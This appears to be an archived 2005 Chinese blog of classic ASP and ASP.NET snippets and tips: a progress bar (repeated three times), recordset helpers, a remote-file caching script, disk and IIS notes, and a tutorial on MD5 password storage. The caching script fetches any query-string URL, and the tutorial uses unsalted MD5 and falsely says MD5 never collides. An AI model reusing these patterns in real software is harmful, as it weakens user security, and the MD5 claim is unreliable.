变量lostnum的存在是由于dmax过大(比如10000),而dstep过小(比如1)造成的。如果调用delayshow(1,10000)势必不可能画一次img,事实上
delayshow(100,10000)才画一次,表示完成1%,因为100占10000的1%.
sub delayshow(dstep,dmax)
dim total //显示画面100张img
dim dtemp //过渡变量
total=100
dtemp=dstep
dstep=dstep+lostnum
if (dstep*total)/dmax<1 then
//判断当要处理的东西连1%都没有时,不画img同时用变量lostnum存放未画的处理总数,便于下次调用本过程时在处理。
lostnum=lostnum+dtemp
else
for ccc=1 to fix((dstep*total)/dmax) //取整数
Response.Write "<img src=""../images/delay1.jpg"">"
next
Response.Flush //将缓存里的东西(图片)显示出来
//变量shownum用于存放目前已经画的img
shownum=shownum+fix((dstep*total)/dmax)
lostnum=0
end if
end sub
//由于算法的问题,主要是取余造成不能完全画100次,这时就需要
过程showlost()将余下未画的img,通通显示处理,实现进度条的等长
sub showlost()
for ccc=1 to (100-shownum)
Response.Write ("<img src=""../images/delay1.jpg"">")
next
Response.Write "<BR>"
Response.Flush
end sub

最后请注意
这里需要用到缓存技术
response.buffer=true;
response.flush;
response.end
这些请参考MSDN帮助

用过软件的朋友都知道,进度条是一个优秀软件的重要组成部分。
它的存在能够使用户及时掌握程序的运行进度,确认应用程序正常工作。可是ASP中似乎没有上述标准控件,控制起来也比较麻烦。
那幺如何实现进度条呢?
以下是本人的一些观点(仅供参考)
我们通常在用ASP处理程序(指的是写文件或操作数据库)的时候,会专门用一个页面(*.asp)去处理或控制这些程序,当处理完毕的时候再跳转到显示页面。这时我们就可以通过这些处理页面显示进度条。其方法是根据程序处理的进度依次画一百张同样的图形(如有颜色的矩形),从而形成进度条。其效果与用其它编程工具所实现的基本相似
以下是一些Source,希望能够给各位有个启发。
response.buffer=true
dim lostnum
dim shownum
delayshow(dstep,dmax)过程是用于显示多少img(画多少进度)
其中dmax为表示整个程序需要处理多少(dmax)步才能完成整个处理程序.
其中dstep表示当前处理的步骤占整个处理过程中的分量,用数量表示。
变量lostnum的存在是由于dmax过大(比如10000),而dstep过小(比如1)造成的。如果调用delayshow(1,10000)势必不可能画一次img,事实上
delayshow(100,10000)才画一次,表示完成1%,因为100占10000的1%.
sub delayshow(dstep,dmax)
dim total //显示画面100张img
dim dtemp //过渡变量
total=100
dtemp=dstep
dstep=dstep+lostnum
if (dstep*total)/dmax<1 then
//判断当要处理的东西连1%都没有时,不画img同时用变量lostnum存放未画的处理总数,便于下次调用本过程时在处理。
lostnum=lostnum+dtemp
else
for ccc=1 to fix((dstep*total)/dmax) //取整数
Response.Write "<img src=""../images/delay1.jpg"">"
next
Response.Flush //将缓存里的东西(图片)显示出来
//变量shownum用于存放目前已经画的img
shownum=shownum+fix((dstep*total)/dmax)
lostnum=0
end if
end sub
//由于算法的问题,主要是取余造成不能完全画100次,这时就需要
过程showlost()将余下未画的img,通通显示处理,实现进度条的等长
sub showlost()
for ccc=1 to (100-shownum)
Response.Write ("<img src=""../images/delay1.jpg"">")
next
Response.Write "<BR>"
Response.Flush
end sub

最后请注意
这里需要用到缓存技术
response.buffer=true;
response.flush;
response.end
这些请参考MSDN帮助

用过软件的朋友都知道,进度条是一个优秀软件的重要组成部分。
它的存在能够使用户及时掌握程序的运行进度,确认应用程序正常工作。可是ASP中似乎没有上述标准控件,控制起来也比较麻烦。
那幺如何实现进度条呢?
以下是本人的一些观点(仅供参考)
我们通常在用ASP处理程序(指的是写文件或操作数据库)的时候,会专门用一个页面(*.asp)去处理或控制这些程序,当处理完毕的时候再跳转到显示页面。这时我们就可以通过这些处理页面显示进度条。其方法是根据程序处理的进度依次画一百张同样的图形(如有颜色的矩形),从而形成进度条。其效果与用其它编程工具所实现的基本相似
以下是一些Source,希望能够给各位有个启发。
response.buffer=true
dim lostnum
dim shownum
delayshow(dstep,dmax)过程是用于显示多少img(画多少进度)
其中dmax为表示整个程序需要处理多少(dmax)步才能完成整个处理程序.
其中dstep表示当前处理的步骤占整个处理过程中的分量,用数量表示。
变量lostnum的存在是由于dmax过大(比如10000),而dstep过小(比如1)造成的。如果调用delayshow(1,10000)势必不可能画一次img,事实上
delayshow(100,10000)才画一次,表示完成1%,因为100占10000的1%.
sub delayshow(dstep,dmax)
dim total //显示画面100张img
dim dtemp //过渡变量
total=100
dtemp=dstep
dstep=dstep+lostnum
if (dstep*total)/dmax<1 then
//判断当要处理的东西连1%都没有时,不画img同时用变量lostnum存放未画的处理总数,便于下次调用本过程时在处理。
lostnum=lostnum+dtemp
else
for ccc=1 to fix((dstep*total)/dmax) //取整数
Response.Write "<img src=""../images/delay1.jpg"">"
next
Response.Flush //将缓存里的东西(图片)显示出来
//变量shownum用于存放目前已经画的img
shownum=shownum+fix((dstep*total)/dmax)
lostnum=0
end if
end sub
//由于算法的问题,主要是取余造成不能完全画100次,这时就需要
过程showlost()将余下未画的img,通通显示处理,实现进度条的等长
sub showlost()
for ccc=1 to (100-shownum)
Response.Write ("<img src=""../images/delay1.jpg"">")
next
Response.Write "<BR>"
Response.Flush
end sub

最后请注意
这里需要用到缓存技术
response.buffer=true;
response.flush;
response.end
这些请参考MSDN帮助

用过软件的朋友都知道,进度条是一个优秀软件的重要组成部分。
它的存在能够使用户及时掌握程序的运行进度,确认应用程序正常工作。可是ASP中似乎没有上述标准控件,控制起来也比较麻烦。
那幺如何实现进度条呢?
以下是本人的一些观点(仅供参考)
我们通常在用ASP处理程序(指的是写文件或操作数据库)的时候,会专门用一个页面(*.asp)去处理或控制这些程序,当处理完毕的时候再跳转到显示页面。这时我们就可以通过这些处理页面显示进度条。其方法是根据程序处理的进度依次画一百张同样的图形(如有颜色的矩形),从而形成进度条。其效果与用其它编程工具所实现的基本相似
以下是一些Source,希望能够给各位有个启发。
response.buffer=true
dim lostnum
dim shownum
delayshow(dstep,dmax)过程是用于显示多少img(画多少进度)
其中dmax为表示整个程序需要处理多少(dmax)步才能完成整个处理程序.
其中dstep表示当前处理的步骤占整个处理过程中的分量,用数量表示。
变量lostnum的存在是由于dmax过大(比如10000),而dstep过小(比如1)造成的。如果调用delayshow(1,10000)势必不可能画一次img,事实上
delayshow(100,10000)才画一次,表示完成1%,因为100占10000的1%.
sub delayshow(dstep,dmax)
dim total //显示画面100张img
dim dtemp //过渡变量
total=100
dtemp=dstep
dstep=dstep+lostnum
if (dstep*total)/dmax<1 then
//判断当要处理的东西连1%都没有时,不画img同时用变量lostnum存放未画的处理总数,便于下次调用本过程时在处理。
lostnum=lostnum+dtemp
else
for ccc=1 to fix((dstep*total)/dmax) //取整数
Response.Write "<img src=""../images/delay1.jpg"">"
next
Response.Flush //将缓存里的东西(图片)显示出来
//变量shownum用于存放目前已经画的img
shownum=shownum+fix((dstep*total)/dmax)
lostnum=0
end if
end sub
//由于算法的问题,主要是取余造成不能完全画100次,这时就需要
过程showlost()将余下未画的img,通通显示处理,实现进度条的等长
sub showlost()
for ccc=1 to (100-shownum)
Response.Write ("<img src=""../images/delay1.jpg"">")
next
Response.Write "<BR>"
Response.Flush
end sub

最后请注意
这里需要用到缓存技术
response.buffer=true;
response.flush;
response.end
这些请参考MSDN帮助

posted @ 2005-07-07 14:44 一天一点爱恋 阅读(147) | 评论 (0)编辑 收藏
 
' ===================================================================
' 读取数据库中数据到数组的类
' 作者:心飞翔
' QQ:85166 E-MAIL:Apwmj@hotmail.com
' 声明:
' 如采用本类模块,请不要去掉这个说明,这段注释不会影响执行的速度.
' 各种用途均可免费使用,但是修改后必须把修改后的文件发送一份给作者.
' 2004年5月18日
' ===================================================================


DbPath = "test.mdb"'数据库位置
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(DbPath)
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.open ConnStr


Class Class_Read
Public Arr,Rs,SQL,ArrTR,ArrTD,Page,TotalRead,TotalPage
Public Function Read(SQL,TD,TR,PG)
SQL = Replace(SQL,"'","")
Page= Int(PG)
Set Rs = Server.CreateObject("ADODB.Recordset") : Rs.open SQL,conn,1,1
TotalRead= Rs.RecordCount
If TotalRead>0 Then
If TR>0 Then : Rs.PageSize = TR : Else : TR=TotalRead
If TD>Rs.Fields.Count or TD<1 Then TD = Rs.Fields.Count
If TotalRead Mod TR <>0 Then TotalPage = 1 : End If : TotalPage = TotalPage + Int(TotalRead/TR)
If Page>=TotalPage Then Page=TotalPage : TR = TotalRead-TR*(TotalPage-1)
If Page>1 Then Rs.absolutePage=Page Else Page=1
End If
reDim Arr(TD-1,TR)
For ArrTR = 0 to TR-1 : If Rs.Eof Then Exit For
For ArrTD = 0 to TD-1 : Arr(ArrTD,ArrTR) = Rs(ArrTD) : Next : Rs.MoveNext
Next
ArrTR = ArrTR-1
Rs.Close
Set Rs=Nothing
End Function
End Class
'使用方法
Dim C:Set C = New Class_Read
C.Read ("SQL语句","读取列数","读取行数[既每页显示条数]","当前页数")
Dim i
For i=0 To C.ArrTR
Response.Write "<br>内容:"&C.Arr(0,i)
Next
Response.Write "<br>总记录条数:"&C.TotalRead
Response.Write "<br>总页数 :"&C.TotalPage
Response.Write "<br>当前页 :"&C.Page
Response.Write "<br>当前记录数:"&C.ArrTR+1

posted @ 2005-07-07 14:36 一天一点爱恋 阅读(194) | 评论 (0)编辑 收藏
 

<%
' Moving to random record - Steven Jones' Extension
If Not(记录集名称.bof and 记录集名称.eof) Then
' reset the cursor to the beginning
If (记录集名称.CursorType > 0) Then
记录集名称.MoveFirst
Else
记录集名称.Requery
End If

记录集名称_totalrn = -1
记录集名称_totalrn = 记录集名称.RecordCount ' ony works on some recordsets, but much faster
If (记录集名称_totalrn = -1) Then ' and if it didn't work, we still have to count the records.

' count the total records by iterating through the recordset
记录集名称_totalrn=0
While (Not 记录集名称.EOF)
记录集名称_totalrn = 记录集名称_totalrn + 1
记录集名称.MoveNext
Wend

' reset the cursor to the beginning
If (记录集名称.CursorType > 0) Then
记录集名称.MoveFirst
Else
记录集名称.Requery
End If

End If

' now do final adjustments, and move to the random record
记录集名称_totalrn = 记录集名称_totalrn - 1
If 记录集名称_totalrn > 0 Then
Randomize
记录集名称.Move Int((记录集名称_totalrn + 1) * Rnd)
End If
End If
' all done; you should always check for an empty recordset before displaying data
%>

posted @ 2005-07-07 14:34 一天一点爱恋 阅读(189) | 评论 (0)编辑 收藏
 
||Function TimeDiff(sBegin, sEnd)
'||本函数计算两个时间的差,可以不用更改直接使用
'||作者:machinecat 2001/10/26
'******************************

'******************************
'注:首先需要判断用户输入的sBegin与sEnd之间的大小
'可以通过DataDiff函数获得两者之间的时间差,不需要进行复杂的时间换算
'******************************

Function TimeDiff(sBegin, sEnd)
Dim iHourB, iMinuteB, iSecondB, iMiniSecondB
Dim iHourE, iMinuteE, iSecondE, iMiniSecondE
Dim dTimeB, dTimeE, dTimeDiff
Dim iHour, iMinute, iSecond, iMiniSecond

iHourB = clng(Left(sBegin, 2))
iMinuteB = clng(Mid(sBegin, 4, 2))
iSecondB = clng(Mid(sBegin, 7, 2))
iMiniSecondB = clng(Mid(sBegin, 10, 4))

iHourE = clng(Left(sEnd, 2))
iMinuteE = clng(Mid(sEnd, 4, 2))
iSecondE = clng(Mid(sEnd, 7, 2))
iMiniSecondE = clng(Mid(sEnd, 10, 4))

dTimeB = iHourB * 3600 + iMinuteB * 60 + iSecondB + iMiniSecondB / 1000
dTimeE = iHourE * 3600 + iMinuteE * 60 + iSecondE + iMiniSecondE / 1000
dTimeDiff = dTimeE - dTimeB

iHour = Int(dTimeDiff / 3600)
dTimeDiff = dTimeDiff - iHour * 3600
iMinute = Int(dTimeDiff / 60)
dTimeDiff = dTimeDiff - iMinute * 60
iSecond = Int(dTimeDiff)
dTimeDiff = dTimeDiff - Int(dTimeDiff)
iMiniSecond = dTimeDiff

TimeDiff = iHour & "小时" & iMinute & "分钟" & iSecond & FormatNumber(iMiniSecond, 3) & "秒"
End Function

posted @ 2005-07-07 14:32 一天一点爱恋 阅读(1506) | 评论 (1)编辑 收藏
 

<%
function URLconvert(str)
convertstr=str
urlLocation=instr(convertstr,"http://")

if (urlLocation=0) and (mailLocation=0) then
URLconvert=convertstr
exit function
end if

if urlLocation<>0 then
rightstr=str
Do while urlLocation<>urlLocationend
urlLocation=instr(rightstr,"http://")
urlLocationend=InStrRev(rightstr,"http://")
finalstr=finalstr&left(rightstr,urlLocation-1)
midurlstr=mid(rightstr,urlLocation+1,1)
do while (asc(midurlstr)>=45) and (asc(midurlstr)<=126)
loopint=loopint+1
midurlstr=mid(rightstr,urlLocation+loopint,1)
if midurlstr="" then exit do
loop
endURLstr=mid(rightstr,urllocation,loopint)
URLstr="<a href="&endURLstr&">"&endURLstr&"</a>"
rightstr=mid(rightstr,urllocation+loopint)
finalstr=finalstr&URLstr
loopint=1
Loop
end if
finalstr=finalstr&rightstr

convertstr1=finalstr
finalstr=""
mailLocation=instr(convertstr1,"@")
if mailLocation<>0 then
Do while mailLocation<>mailLocationend
mailLocation=instr(convertstr1,"@")
mailLocationend=InStrRev(convertstr1,"@")
mainmidmailstr=mid(convertstr1,mailLocation+1,1)
midmailstr=mainmidmailstr
do while (asc(midmailstr)>=45) and (asc(midmailstr)<=126)
loopint1=loopint1+1
midmailstr=mid(convertstr1,mailLocation-loopint1,1)
loop
firstSTR=mid(convertstr1,mailLocation-loopint1+1,loopint1-1)

finalstr=finalstr&left(convertstr1,mailLocation-loopint1)

midmailstr1=mainmidmailstr
do while (asc(midmailstr1)>=45) and (asc(midmailstr1)<=126)
loopint2=loopint2+1
midmailstr1=mid(convertstr1,mailLocation+loopint2,1)
if midmailstr1="" then exit do
loop
secondSTR=mid(convertstr1,mailLocation,loopint2)

endmailstr=firstSTR&secondSTR
mailstr="<a href=mailto:"&endmailstr&">"&endmailstr&"</a>"
finalstr=finalstr&mailstr
convertstr1=mid(convertstr1,maillocation+loopint2)
loopint1=1
loopint2=1
Loop
end if
finalstr=finalstr&convertstr1
URLconvert=finalstr
end function
%>

posted @ 2005-07-07 14:31 一天一点爱恋 阅读(128) | 评论 (0)编辑 收藏
 
随着计算机硬件的发展,许多朋友购买了新的计算机,但是以前机器上的硬盘都舍不得丢弃,所以就拿它们作为一个备份硬盘使用。但是这也给大家带来了一个问题——安装了双硬盘之后,原先硬盘上的盘符与新硬盘上的盘符会出现交叉的情况,也就是说C盘是安装了操作系统物理盘的一个分区,但是D盘就变成另外一个物理盘的盘符了,这样在使用的时候就有些麻烦。而且当你将第二个硬盘拆卸下来刻盘或者是作为它用的时候,整个系统中的文件路径就会出错:安装在D盘上的文件不见了,而安装在E盘上的程序转移到D盘上,除非你再将第二硬盘挂上,否则就只能手工对其进行修正。笔者的计算机也刚升级,而且也使用了双硬盘,所以带着这个问题仔细对系统进行了一番研究,最后终于找出了解决之道,要是你也被这种难堪所困扰的话,不妨来看看如何解决双硬盘交叉盘符的问题。

  一、系统升级

  第一个方法也是最简单的就是将你所使用的操作系统升级到Windows 2000。因为Windows 2000采用的内核与Windows 9X不同,而且对于多个硬盘的辨识能力与处理能力比Windows 9X要高出一筹,所以采用Windows 2000之后,安装双硬盘的时候系统会自动把新硬盘的盘符添加到原先硬盘盘符后面。

  但是Windows 2000对于硬件的要求实在是太高了,大家千万不要相信微软信誓旦旦的“Pentium 133、32M内存”的标准配置,难道你想在安装的时候喝完一杯茶而安装进度还没有增加百分之一?或者是在使用的时候移动一下鼠标带来的就是“哗哗”的硬盘响声?所以对于那些机器不够棒的朋友,还是建议你采用后面说到的两种方法。

  二、CMOS修改

  如果你使用的是Windows 98操作系统,那么可以在CMOS中将第二硬盘的选项设置为“NONE”。比如挂接在第一根硬盘线的Slave端,就在CMOS中设置“IDE Primary Slave”为“NONE”,这样在开机的时候系统会省去对第二硬盘的查找,进入Windows 98之后,你会发现第二块硬盘已经被找到,而且交叉盘符的现象也不复存在。

  不过遗憾的是,这种方法只有在Windows 98操作系统下才能实现的,如果你使用Windows 95就不能享受这种便利的设置优势了。而且即使你采用的是Windows 98系统,只要切换到DOS状态的时候,第二硬盘就会自动消失,要是你需要经常在DOS下处理文件,那么这种方法还不是最佳的解决之道。
 
三、分区大法

  事到如今,还有最后一招,保管你一劳永逸,绝无后顾之忧,这就是对第二块重新分区。采用这种方法,无论在什么操作系统下,CMOS中如何设置,都可以解决盘符交叉的问题。想必这就是大家所最为关注的,所以在此对其的操作步骤介绍一下。

  1、将两块硬盘安装好之后,开机的时候按下“F8”键并选择相应的选项进入DOS状态。

  2、键入“Fdisk”,然后会看见分区主界面,其中比以往大家所看见的多出了第五个选项“Change current fixed disk drive”,选择此项之后按回车键继续。

  3、接下来看见的是硬盘以及分区列表,这时大家选中第二个硬盘,然后按照先删除扩展分区,再删除主分区的步骤将这块硬盘上的分区删除。

  4、在对第二硬盘重新建立分区的时候要注意,一定不能选择“Create Primary DOS Partition”在这块硬盘上创建主分区,而要选择“Create Extended DOS Partition”把所有的空间都分配给扩展分区使用。接着再按照自己的需要把这个硬盘分为多个分区。

  5、分区完毕之后,重新启动计算机,等进入Windows之后调用资源管理器会发现原先交叉的盘符现在已经老老实实的按照规矩排列了,这时再对它们进行格式化处理,这块第二硬盘就可以像原先的那块一样正常使用了。

  但是这种方法也有一个缺点,就是会完全破坏第二硬盘上的数据,不过说起来也好解决,现在的硬盘都是又平又靓(又便宜又好)了,像主流的20G硬盘,只要八百多元,完全可以把你早期只有1G多的内容全部复制过来了吧。

  好了,到此为止,解决双硬盘盘符交叉的三种方法全部告诉大家了,至于你选用哪一种就看你自己的实际情况了。
posted @ 2005-07-07 12:18 一天一点爱恋 阅读(224) | 评论 (0)编辑 收藏
 

首先了解什么是IIS连接数。
IIS连接数指并发连接数,什么意思呢?
要分几种情况:(以100M空间50人在线为例)
A 用户单点下载你的文件,结束后正常断开,这些连接是按照瞬间计算的,就是说你50人的网站瞬间可以接受同时50个点下载
B 用户打开你的页面,就算停留在页面没有对服务器发出任何请求,那么在用户打开一面以后的15分钟内也都要算一个在线,就是说你50人的网站15分钟内可以接受不同用户打开50个页面
C 上面B的情况用户继续打开同一个网站的其他页面,那么在线人数按照用户最后一次点击(发出请求)以后的15分钟计算,在这个15分钟内不管用户怎么点击(包括新窗口打开)都还是一人在线。
D 当你的页面内存在框架(Iframe),那么每多一个框架就要多一倍的在线!因为这相当于用户同一时间向服务器请求了多个页面。
E 当用户打开页面然后正常关闭浏览器,用户的在线人数也会马上清除。

然后了解什么是论坛在线人数。
论坛在线只是计算一定时间内的活动用户数。
这里的时间用户可以自己设定(删除不活动用户时间),动网论坛默认为40分钟的相对准确值。

根据上面的说明,显然论坛在线和IIS连接数的概念不同
为什么会出现IIS连接数和论坛在线不符合的情况?
现具体分析如下:

1:您使用了插件版论坛!
现在的插件很**,不但占服务器资源,而且会使论坛运行变慢( 没有插件可以快一倍以上 ),同时很占在线人数,有的插件调用很多框架,少则2、3个,多则4、5个! 甚至有在线播放音乐,这样一个人在线就相当与很多人在线!

2:您的网站是主页+论坛的形式!
这样主页和论坛要争夺你的在线人数!

3:你的论坛内部有播放器!
一个人在线,然后他在线播放音乐,就占二个人在线!

4:你的论坛内部存在框架形式的网页!
每一个框架,就多一倍的在线!

5:你的论坛设置在线时间过小!
动网默认为40分钟, 这个默认值下,一般我们20IIS的学习型主机可以达到50人左右 ,因为论坛在线只是计算一定时间内的活动用户数,当您设定的时间较小的时候,看起来论坛在线的人数就自然少了,请把 删除不活动用户时间 改为默认的40分钟就可以!

6:你的空间存在多个论坛!
有的客户在一个空间里上传多个论坛,如bbs bbs1 bbs2 等等 等等
毫无疑问,这样个论坛也是要争夺再线人数的!

7:你的论坛图片等文件被人盗链!
比如:你的论坛有张图片文件,被粘贴(注意是粘贴不是上传)到别的论坛!
别的论坛的用户在浏览该文件的时候也算一个在线人数!
尤其是LOGO连接的时候注意,一定要对方把您的LOGO上传到他的空间!

8:你的空间上放有下载文件!
如果用户用网络蚂蚁类的软件,每一个线程就表示一个在线,非常厉害
9:最新发现如果网站首页直接调用论坛的新帖子可能导致IIS超出标准建议网站使用静态页面

posted @ 2005-07-07 12:16 一天一点爱恋 阅读(145) | 评论 (0)编辑 收藏
 

<%
'------------------------------------------------------------------------
'-------------------无垠网域:http://www.5inet.net/ ---------------------
'-------------------作者:嘻哈呵嘿 ,webmaster@5inet.net -----------------
'----------远程获取内容,并将内容存在本地电脑上,包括任何文件!----------
'---------------利用xmlhttp和adodb.stream,酷!绝对原创!-----------------
'On Error Resume Next
'Set the content type to the specific type that you are sending.
'Response.ContentType = "IMAGE/JPEG"
'-------------------------------定义输出格式-----------------------------


Path=request.querystring("p")
sPath = Path
if left(lcase(path),7) <> "http://" then
'-------------如果前面没有http就是本地文件,交给LocalFile处理------------
LocalFile(path)
else
'--------------------否则为远程文件,交给RemoteFile处理------------------
RemoteFile(Path)
end if
'Response.Write err.Description

sub LocalFile(Path)
'-------------------如果为本地文件则简单的跳转到该页面-------------------
Response.Redirect Path
End Sub

Sub RemoteFile(sPath)
'-------------------------处理远程文件函数------------------------------
FileName = GetFileName(sPath)
'-------------GetFileName为把地址转换为合格的文件名过程-------------
FileName = Server.MapPath("/UploadFile/Cache/" & FileName)
Set objFso = Server.CreateObject("Scripting.FileSystemObject")
'Response.Write fileName
if objFso.FileExists(FileName) Then
'--------------检查文件是否是已经访问过,如是,则简单跳转------------
Response.Redirect "/uploadfile/cache/" & GetFileName(path)
Else
'----------------否则的话就先用GetBody函数读取----------------------
'Response.Write Path
t = GetBody(Path)
'-----------------用二进制方法写到浏览器上--------------------------
Response.BinaryWrite t
Response.Flush
'-----------------输出缓冲------------------------------------------
SaveFile t,GetFileName(path)
'------------------将文件内容缓存到本地路径,以待下次访问-----------
End if
Set objFso = Nothing
End Sub

Function GetBody(url)
'-----------------------本函数为远程获取内容的函数---------------------
'on error resume next
'Response.Write url
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
'----------------------建立XMLHTTP对象-----------------------------
With Retrieval
.Open "Get", url, False, "", ""
'------------------用Get,异步的方法发送-----------------------
.Send
'GetBody = .ResponseText
GetBody = .ResponseBody
'------------------函数返回获取的内容--------------------------
End With
Set Retrieval = Nothing
'response.Write err.Description
End Function

Function GetFileName(str)
'-------------------------本函数为合格化的文件名函数-------------------
str = Replace(lcase(str),"http://","")
str = Replace(lcase(str),"//","/")
str = Replace(str,"/","")
str = replace(str,vbcrlf,"")
GetFileName = str
End Function

sub SaveFile(str,fName)
'-------------------------本函数为将流内容存盘的函数-------------------
'on error resume next
Set objStream = Server.CreateObject("ADODB.Stream")
'--------------建立ADODB.Stream对象,必须要ADO 2.5以上版本---------
objStream.Type = adTypeBinary
'-------------以二进制模式打开-------------------------------------
objStream.Open
objstream.write str
'--------------------将字符串内容写入缓冲--------------------------
'response.Write fname
objstream.SaveToFile "c:\inetpub\myweb\uploadfile\cache\" & fName,adSaveCreateOverWrite
'--------------------将缓冲的内容写入文件--------------------------
'response.BinaryWrite objstream.Read
objstream.Close()
set objstream = nothing
'-----------------------关闭对象,释放资源-------------------------
'response.Write err.Description
End sub
%>

posted @ 2005-07-07 11:53 一天一点爱恋 阅读(154) | 评论 (0)编辑 收藏
 
 我们知道,现在网络上一般的网站,稍微完善一点的,往往都需要用户先注册,提供诸如电子邮件、账号、密码等信息以后,成为网站栏目的注册用户,才可以享受网站一些特殊栏目提供的信息或者服务,比如免费电子邮件、论坛、聊天等,都需要用户注册。而对于电子商务网站,比如igo5等大型电子商务网站,用户需要购买商品,就一定需要详细而准确的注册,而这些信息,往往是用户很隐秘的信息,比如电话、电子邮件、地址等,所以,注册信息对于用户和网站都是很重要的资源,不能随意透露,更加不能存在安全上的隐患。
  如果我们也设计一个需要用户注册的网站,根据现在的常用技术实现方法,可以在数据库中建立一个用于存放用户信息的表,这个表中至少包括用户账号字段:UserAccount和用户密码字段:Password,当然,实际应用中一个用户信息表不可能就只有这些信息,往往根据网站服务要求,会适当增加一些其它的信息,以方便网站提供更加完善的服务。一般的,一个用户信息占用这个用户信息表的一行也就是一个数据记录,当用户登录或者提交资料的时候,程序将用户填写的信息与表中的信息对照,如果用户账号和密码都准确无误,那幺说明这个用户是合法用户,通过注册;反之,则是非法用户,不许通过。
  然而,是不是这样就安全了了?是不是这样就能满足网站的注册要求了呢?仔细想想,我们一般将用户资料直接保存在数据库中,并没有进行任何的保密措施,对于一些文件型数据库比如Access等,如果有人得到这个文件,岂不是所有的资料都泄露无疑?更加重要的是,如果一个不负责任的网管,不需要任何技术手段,就可以查看网站中的任何资料,如果我们的用户信息在数据库中没有加密,对于网管而言,查看这些信息是太简单了。所以,为了增加安全性,我们有必要对数据库中的资料进行加密,这样,即使有人得到了整个数据库,如果没有解密算法,也一样不能查看到数据库中的用户信息。但是,在考虑数据库是否安全之前,我们有必要对我们的数据是否真的那幺重要进行考虑,如果数据只是简单的一些文件资料,没有保密的必要,显然,没有必要对这些数据进行加密而浪费系统资源、加重程序负担,如果这些数据具有一定的隐私性,当然就有必要进行加密。所以,在考虑加密以前,我们可以对需要加密的数据做适当的选择,以免浪费系统资源。

  MD5加密算法简单介绍
  在现阶段,我们一般认为存在两种加密方式,单向加密和双向加密。双向加密是加密算法中最常用的,它将我们可以直接理解的明文数据加密为我们不可直接理解的密文数据,然后,在需要的时候,可以使用一定的算法将这些加密以后的密文解密为原来可以理解的明文。双向加密适合于隐秘通讯,比如,我们在网上购物的时候,需要向网站提交信用卡密码,我们当然不希望我们的数据直接在网上明文传送,因为这样很可能被别的用户“偷听”,我们希望我们的信用卡密码是通过加密以后,再在网络传送,这样,网站接受到我们的数据以后,通过解密算法就可以得到准确的信用卡账号。
  单向加密刚好相反,只能对数据进行加密,也就是说,没有办法对加密以后的数据进行解密。可能我们立即就会想,这样的加密有什幺用处?不能解密的加密算法有什幺作用呢?在实际中的一个应用就是数据库中的用户信息加密,当用户创建一个新的账号或者密码,他的信息不是直接保存到数据库,而是经过一次加密以后再保存,这样,即使这些信息被泄露,也不能立即理解这些信息的真正含义。
  MD5就是采用单向加密的加密算法,对于MD5而言,有两个特性是很重要的,第一是任意两段明文数据,加密以后的密文不能是相同的;第二是任意一段明文数据,经过加密以后,其结果必须永远是不变的。前者的意思是不可能有任意两段明文加密以后得到相同的密文,后者的意思是如果我们加密特定的数据,得到的密文一定是相同的。
  MD5CyptoServiceProvider类是.NET中System.Security.Cryptography名字空间的一个类,提供专门用于MD5单向数据加密的解决方法,也是本文中我们用来加密数据库中密码的类。在真正进行数据加密之前,我们首先来了解MD5CyptoServiceProvider类中的主要方法:ComputeHash,它将输入的明文数据数组使用MD5加密以后输出加密后的密文数据数组。现在,我们就来看一个具体的实例:


'要加密的明文字符串
Dim strPlainText as String = "Encrypt me!"
'用于存放明文字符串的数组
Dim hashedDataBytes as Byte()
Dim encoder as New UTF8Encoding()
'建立MD5CryptoService实例
Dim md5Hasher as New MD5CryptoServiceProvider()
'加密运算
hashedDataBytes = md5Hasher.ComputeHash(encoder.GetBytes(strPlainText))
看完以上的具体实例以后,我们知道,ComputeHash方法只能接受数组作为加密对象,输出的密文也是数组,因此,在对字符串加密之前,我们必须首先将这些字符串转化为数组,这就要用到UTF8Encoding类的GetBytes方法,将字符串转化为数组,而加密以后的结果也是使用数组输出。
以上我们大致了解了MD5的具体加密实现方法,下面,我们结合数据库来看看MD5的实际使用。

使用MD5存储密码
在前面的介绍中,我们提到网站往往将用户的账号、密码等信息使用非加密的方式保存到数据库,比如账号使用类型为VarChar的UserCount字段,同样,密码也是采用类型为VarChar的Password字段。但是,如果我们打算采用MD5加密方式存储密码信息,就必须改变密码字段PassWord的类型为16为二进制方式,这个其实我们也不难理解,因为在前面的介绍中,我们知道加密以后的输出,是使用二进制数组的,所以,这里必须做相应的改变。
当用户注册成功,正式建立一个账号的时候,数据库中就必须为这个用户增加一条记录。以下的程序代码实现了建立一个账号的功能,在页面中,程序要求用户输入账号、密码等信息,然后,将这些信息作为账号信息存入名为UserCount的数据表,在这个表中,用户密码是使用MD5加密保存的。下面就是实现以上页面的具体代码:
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<Script runat="server" language="VB">
Sub CreateAccount(sender as Object, e as EventArgs)
'1. 建立数据库连接
Const strConnString as String = "connection string"
Dim objConn as New SqlConnection(strConnString)
'2. 建立Command对象
Dim strSQL as String = _
"INSERT INTO UserAccount(Username,Password) " & _
"VALUES(@Username, @Password)"
Dim objCmd as New SqlCommand(strSQL, objConn)
'3. SQL参数
Dim paramUsername as SqlParameter
paramUsername= New SqlParameter("@Username", SqlDbType.VarChar, 25)
paramUsername.Value = txtUsername.Text
objCmd.Parameters.Add(paramUsername)
'加密用户密码
Dim md5Hasher as New MD5CryptoServiceProvider()
Dim hashedBytes as Byte()
Dim encoder as New UTF8Encoding()
hashedBytes=md5Hasher.ComputeHash(encoder.GetBytes(txtPwd.Text))
Dim paramPwd as SqlParameter
paramPwd = New SqlParameter("@Password", SqlDbType.Binary, 16)
paramPwd.Value = hashedBytes
objCmd.Parameters.Add(paramPwd)
'加入数据库
objConn.Open()
objCmd.ExecuteNonQuery()
objConn.Close()
End Sub
</script>
<Form runat="server">
<h1>建立一个账号</h1>
用户名:<asp:TextBox runat="server" id="txtUsername" />
<br />密码:
<asp:TextBox runat="server" id="txtPwd" TextMode="Password" />
<p><asp:Button runat="server" Text="建立用户账号" onClick="CreateAccount" /></p>
</form>

  在以上程序实现的页面中,“用户名”和“密码”输入框要求用户输入自己的账号和密码,用户输入自己的信息以后,按“建立用户账号”按钮,就可以建立一个账号并且存入数据库。我们同时需要特别注意,因为以上的程序使用到了MD5加密和数据库等功能,所以,在代码最开头,我们引入了几个稍微特别一点的名字空间,这是不可缺少的。
